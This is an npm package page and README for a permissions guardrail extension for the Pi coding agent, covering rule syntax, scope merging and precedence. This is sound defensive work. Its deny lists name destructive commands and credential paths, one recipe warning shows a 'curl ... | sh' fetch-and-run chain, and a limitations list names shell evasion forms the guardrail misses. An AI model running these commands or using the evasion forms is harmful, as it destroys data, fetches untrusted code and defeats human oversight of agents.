@pi-kit/permissions
Allow/ask/deny guardrail extension for the Pi coding agent. No third-party runtime dependencies.
Package details
Install @pi-kit/permissions from npm and Pi will load the resources declared by the package manifest.
$ pi install npm:@pi-kit/permissions- Package
@pi-kit/permissions- Version
0.3.0- Published
- Oct 6, 2026
- Downloads
- 881/mo · 606/wk
- Author
- j7an
- License
- MIT
- Types
- extension
- Size
- 44.4 KB
- Dependencies
- 1 dependency · 2 peers
Pi manifest JSON
{
"extensions": [
"./extensions"
]
}Security note
Pi packages can execute code and influence agent behavior. Review the source before installing third-party packages.
README
@pi-kit/permissions
An allow / ask / deny guardrail for the Pi coding agent's built-in tools. No third-party runtime dependencies, no build step, small enough to read before you install it. It guards against agent mistakes; it is not a sandbox (see Limitations).
Install
pi install npm:@pi-kit/permissions
Restart Pi. With no configuration, the defaults apply.
What it does
Every tool call resolves to one outcome:
- allow — the call runs.
- ask — you choose Allow once, Allow for this session, or Deny.
With no UI (
pi -p),askbecomesheadlessAsk, which defaults todeny. - deny — the call is blocked and the model is told which rule fired.
Rules match on four dimensions:
| Dimension | Matches | Pattern syntax |
|---|---|---|
bash |
the command of bash and powershell |
anchored; * matches anything, including spaces and / |
paths |
path inputs of the tools in paths.appliesTo |
anchored; * stays within a segment, ** crosses; ~ expands; relative patterns resolve against cwd; checked against the path as written and its absolute form |
tools |
the tool name | exact, or * |
outsideCwd |
any path outside cwd, for the tools in paths.appliesTo |
a single allow / ask / deny |
Configuration
JSON, one file per scope. Every key is optional.
| Scope | Path |
|---|---|
| Global | ~/.pi/agent/extensions/pi-kit-permissions.json (honours PI_CODING_AGENT_DIR) |
| Project | <cwd>/.pi/extensions/pi-kit-permissions.json, loaded only when the project is trusted |
Defaults
{
"defaultMode": "allow",
"headlessAsk": "deny",
"outsideCwd": "ask",
"tools": {},
"bash": {
"deny": ["rm -rf *", "git push --force*", "git reset --hard*"],
"ask": ["npm publish*", "git push*"],
"allow": []
},
"paths": {
"appliesTo": ["write", "edit"],
"deny": [".env", ".env.local", ".env.*.local", "**/.env", "**/.env.local"],
"ask": [".github/**", ".git/**", ".pi/**"],
"allow": []
}
}
Under the defaults, read /etc/hosts is allowed (read is not in
appliesTo), write /etc/hosts asks, and write .env.example is allowed
(the deny patterns are deliberately narrow).
Writes under .git/ (hooks run as code) and .pi/ (project extensions and
this package's own project config) ask.
Keys
| Key | Values | Meaning |
|---|---|---|
defaultMode |
allow ask deny |
Outcome when no rule matches |
headlessAsk |
allow deny |
What ask becomes with no UI |
outsideCwd |
allow ask deny |
Outcome for a path outside cwd; allow disables the check |
tools, bash |
{ deny, ask, allow } |
Pattern lists |
paths |
{ appliesTo, deny, ask, allow } |
appliesTo names the tools these rules and outsideCwd cover |
Combining scopes
Defaults, then global, then the trusted project file.
- Rule lists add up. No scope can remove an inherited rule.
- The global file overwrites scalars.
defaultMode,headlessAsk,outsideCwd, andpaths.appliesTotake the global value when it sets them. - A project can only tighten. Its scalars apply only when stricter than
the inherited value (
deny>ask>allow), and itspaths.appliesToadds tools rather than replacing the list. A looser value is ignored and named in the footer banner. Itsallowrules still apply. - To relax a global rule, edit the global file.
A file that fails to parse or validate contributes no rules, is named in a
footer banner, and forces defaultMode: ask and headlessAsk: deny for the
session. Fix it and start a new session.
Precedence
- Within a dimension, lists are checked
deny→ask→allow; the first match wins. Specificity is ignored:deny: ["git *"]beatsallow: ["git status"]. - Across dimensions, the most restrictive result wins:
deny>ask>allow. No match anywhere yieldsdefaultMode. - Compound commands (split on unquoted
&&,||,;,|,&, newline):denyandaskalso match each piece;allowmatches only the whole command. A piece can make the outcome stricter, never looser. Deny and ask also match each piece after collapsing whitespace and stripping leadingVAR=assignments and the wrapperstimeout,time,nice,nohup,stdbuf,command,builtin,noglob,env.allowdoes not:allow: ["npm test"]does not covertimeout 30 npm test. - Shell path targets: redirect targets and the file arguments of
cat,head,tail,sedandteeare checked againstpaths.denyandpaths.askas the tool they imitate (>andtee= write,sed -i= edit, the rest = read), and only when that tool is inappliesTo. These checks can only make the outcome stricter. PathallowandoutsideCwddo not apply to them.
| Situation | Outcome |
|---|---|
bash.allow matches, defaultMode: deny |
allow |
tools.allow: ["write"], write /etc/hosts, outsideCwd: ask |
ask |
bash.deny matches one piece of a && b, bash.allow the other |
deny |
bash.allow: ["ls"], defaultMode: deny, command ls && curl x |
deny |
echo K=v >> .env under the defaults |
deny |
These rows are executed by test/decide.test.ts.
Session approvals
Allow for this session remembers the exact request (tool, command, paths as
written) until the session ends; nothing is written to disk. It is consulted
only after the rules return ask, so it never overrides a deny.
Recipes
Gate reads too:
{ "paths": { "appliesTo": ["read", "write", "edit", "ls", "grep", "find"] } }
Protect secrets outside the repo:
{ "paths": { "appliesTo": ["read", "write", "edit"], "deny": ["~/.ssh/**", "~/.aws/**"] } }
Ask before git and network operations:
{ "bash": { "ask": ["git push*", "git rebase*", "curl *", "wget *", "npm install*"] } }
Ask by default, allowing only these exact commands:
{
"defaultMode": "ask",
"bash": { "allow": ["ls", "git status", "git diff", "git log", "pnpm test"] }
}
Prefer complete commands in allow. A trailing * also matches chained
commands: ls* allows ls && curl https://example.com/script | sh unless a
deny or ask rule matches.
Limitations
This is a guardrail against agent mistakes, not a security boundary. For enforcement, run Pi in a container or an OS sandbox.
- Not caught: forms whose only purpose is evasion —
bash -c,eval,$(...), backticks,$VAR,/bin/rm,xargs,find -exec. - Not parsed: text inside subshells;
$HOMEin paths; a relative path aftercd(it still resolves against cwd);cp/mvdestinations; heredoc bodies, which are scanned like commands and can over-match; symlinks. - RPC clients receive
askas an extension UI request and must answer it; an unanswered request leaves the tool call waiting (cancel = deny).
Supported versions
Node 22.19 or newer. Pi: no minimum version; recent Pi releases are tested weekly — latest results.
Dependencies
None at runtime. @earendil-works/pi-coding-agent and typebox are optional
peers that Pi supplies; scanner alerts on them belong to the Pi host.
Licence
MIT